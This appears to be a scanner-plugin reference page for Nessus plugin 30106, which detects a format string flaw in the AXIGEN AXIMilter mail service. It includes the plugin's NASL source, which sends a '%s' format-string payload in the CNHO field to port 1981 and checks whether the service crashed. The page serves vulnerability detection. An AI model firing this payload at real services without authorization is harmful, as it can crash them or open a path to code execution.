AXIGEN Mail Server AXIMilter CNHO Command Remote Format String - Nessus
Medium Plugin ID: 30106This page contains detailed information about the AXIGEN Mail Server AXIMilter CNHO Command Remote Format String Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.
Plugin Overview
ID: 30106
Name: AXIGEN Mail Server AXIMilter CNHO Command Remote Format String
Filename: aximilter_format_string.nasl
Vulnerability Published: N/A
This Plugin Published: 2008-01-28
Last Modification Time: 2018-11-15
Plugin Version: 1.16
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies:
aximilter_detect.nasl
Vulnerability Information
Severity: Medium
Vulnerability Published: N/A
Patch Published: N/A
CVE [?]: CVE-2008-0434
CPE [?]: N/A
Synopsis
The remote mail service is affected by a format string vulnerability.
Description
The version of AXIMilter installed on the remote host fails to sanitize input of format string identifiers. Using a specially- crafted packet, an unauthenticated, remote attacker can crash the service or possibly execute arbitrary code on the remote host subject to the privileges under which the service operates.
Solution
Either configure AXIMilter to listen only on the loopback interface, which is its default behavior, or allow access only from trusted hosts.
Public Exploits
Target Network Port(s): 1981
Target Asset(s): Services/aximilter
Exploit Available: True (Exploit-DB)
Exploit Ease: Exploits are available
Here's the list of publicly known exploits and PoCs for verifying the AXIGEN Mail Server AXIMilter CNHO Command Remote Format String vulnerability:
- Exploit-DB: exploits/linux/remote/4947.c
[EDB-4947: Axigen 5.0.2 - AXIMilter Remote Format String]
Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.
WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.
Risk Information
CVSS V2 Vector [?]: AV:N/AC:H/Au:N/C:P/I:P/A:P/E:POC/RL:OF/RC:C
CVSS Base Score: | 5.1 (Medium) |
Impact Subscore: | 6.4 |
Exploitability Subscore: | 4.9 |
CVSS Temporal Score: | 4.0 (Medium) |
CVSS Environmental Score: | NA (None) |
Modified Impact Subscore: | NA |
Overall CVSS Score: | 4.0 (Medium) |
Go back to menu.
Plugin Source
This is the aximilter_format_string.nasl nessus plugin source code. This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(30106);
script_version("1.16");
script_cve_id("CVE-2008-0434");
script_bugtraq_id(27363);
script_xref(name:"EDB-ID", value:"4947");
script_name(english:"AXIGEN Mail Server AXIMilter CNHO Command Remote Format String");
script_summary(english:"Tries to crash AXIMilter");
script_set_attribute(attribute:"synopsis", value:
"The remote mail service is affected by a format string vulnerability." );
script_set_attribute(attribute:"description", value:
"The version of AXIMilter installed on the remote host fails to
sanitize input of format string identifiers. Using a specially-
crafted packet, an unauthenticated, remote attacker can crash the
service or possibly execute arbitrary code on the remote host subject
to the privileges under which the service operates." );
script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2008/Jan/403" );
script_set_attribute(attribute:"solution", value:
"Either configure AXIMilter to listen only on the loopback interface,
which is its default behavior, or allow access only from trusted
hosts." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_cwe_id(189);
script_set_attribute(attribute:"plugin_publication_date", value: "2008/01/28");
script_cvs_date("Date: 2018/11/15 20:50:22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"Gain a shell remotely");
script_copyright(english:"This script is Copyright (C) 2008-2018 Tenable Network Security, Inc.");
script_dependencies("aximilter_detect.nasl");
script_require_ports("Services/aximilter", 1981);
exit(0);
}
port = get_kb_item("Services/aximilter");
if (!port) port = 1981;
if (!get_port_state(port)) exit(0);
crlf = '\r\n';
exploit = "%s%s%s%s%s%s%s%s%s";
# Make sure it's working.
soc = open_sock_tcp(port);
if (!soc) exit(0);
req = "PING" + crlf;
send(socket:soc, data:req);
res = recv_line(socket:soc, length:256);
close(soc);
if (strlen(res) == 0) exit(0);
res = chomp(res);
if ('PONG' == toupper(res))
{
# Try to exploit the issue to crash the daemon.
soc = open_sock_tcp(port);
if (!soc) exit(0);
req = string(
"FROM: ", crlf,
"EHLO: ", crlf,
"CNIP: ", crlf,
"CNPO: ", crlf,
"CNHO: ", exploit, crlf,
"RCPT: ", crlf,
"VERI: ", crlf
);
send(socket:soc, data:req);
res = recv_line(socket:soc, length:256);
close(soc);
# Try several times to re-connect.
if (strlen(res) == 0)
{
tries = 5;
for (iter=0; iter<tries; iter++)
{
# Check whether it's truly down.
soc = open_sock_tcp(port);
if (soc)
{
s = recv_line(socket:soc);
close(soc);
sleep(1);
}
else
{
security_warning(port);
exit(0);
}
}
}
}
The latest version of this script can be found in these locations depending on your platform:
- Linux / Unix:
/opt/nessus/lib/nessus/plugins/aximilter_format_string.nasl
- Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\aximilter_format_string.nasl
- Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/aximilter_format_string.nasl
Go back to menu.
How to Run
Here is how to run the AXIGEN Mail Server AXIMilter CNHO Command Remote Format String as a standalone plugin via the Nessus web user interface (https://localhost:8834/):
- Click to start a New Scan.
- Select Advanced Scan.
- Navigate to the Plugins tab.
- On the top right corner click to Disable All plugins.
- On the left side table select Gain a shell remotely plugin family.
- On the right side table select AXIGEN Mail Server AXIMilter CNHO Command Remote Format String plugin ID 30106.
- Specify the target on the Settings tab and click to Save the scan.
- Run the scan.
Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.
Basic usage:
/opt/nessus/bin/nasl aximilter_format_string.nasl -t <IP/HOST>
Run the plugin with audit trail message on the console:
/opt/nessus/bin/nasl -a aximilter_format_string.nasl -t <IP/HOST>
Run the plugin with trace script execution written to the console (useful for debugging):
/opt/nessus/bin/nasl -T - aximilter_format_string.nasl -t <IP/HOST>
Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):
/opt/nessus/bin/nasl -K /tmp/state aximilter_format_string.nasl -t <IP/HOST>
Go back to menu.
References
BID | SecurityFocus Bugtraq ID: CWE | Common Weakness Enumeration:
- CWE-189 (Category) Numeric Errors
- https://www.tenable.com/plugins/nessus/30106
- https://seclists.org/fulldisclosure/2008/Jan/403
- https://vulners.com/nessus/AXIMILTER_FORMAT_STRING.NASL
- 24321 - AXIGEN Mail Server < 2.0.0 Multiple Remote Vulnerabilities
- 16265 - Berlios gpsd gpsd_report() Function Format String
- 10522 - LPRng use_syslog() Remote Format String Arbitrary Command Execution
- 31642 - VLC Media Player network/httpd.c httpd_FileCallBack Function Connection Parameter Format String
- 12086 - DreamFTP Server username Remote Format String
- 18974 - FreeBSD : gld -- format string and buffer overflow vulnerabilities (6c2d4f29-af3e-11d9-837d-000e0c2e438a)
- 57739 - FreeBSD : sudo -- format string vulnerability (7c920bb7-4b5f-11e1-9f47-00e0815b8da8)
- 21504 - FreeBSD : perl, webmin, usermin -- perl format string integer wrap vulnerability (bb33981a-7ac6-11da-bf72-00123f589060)
- 22213 - FreeBSD : mysql -- format string vulnerability (fcb90eb0-2ace-11db-a6e2-000e0c2e438a)
- 18530 - GLSA-200506-15 : PeerCast: Format string vulnerability
- 20281 - GLSA-200512-02 : Webmin, Usermin: Format string vulnerability
- 31732 - McAfee Common Management Agent < 3.6.0.595 UDP Packet Handling Format String
- 17839 - OpenSSH < 2.1.1p3 Format String Privilege Escalation
- 18417 - PeerCast URL Error Message Format String
- 16064 - SHOUTcast Server Filename Handling Format String
- 63075 - VMware OVF Tool 2.1 File Handling Format String Vulnerability (VMSA-2012-0015)
- 20343 - Webmin 'miniserv.pl' 'username' Parameter Format String
- 10452 - WU-FTPD site_exec() Function Remote Format String
Version
This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file aximilter_format_string.nasl version 1.16. For more plugins, visit the Nessus Plugin Library.
Go back to menu.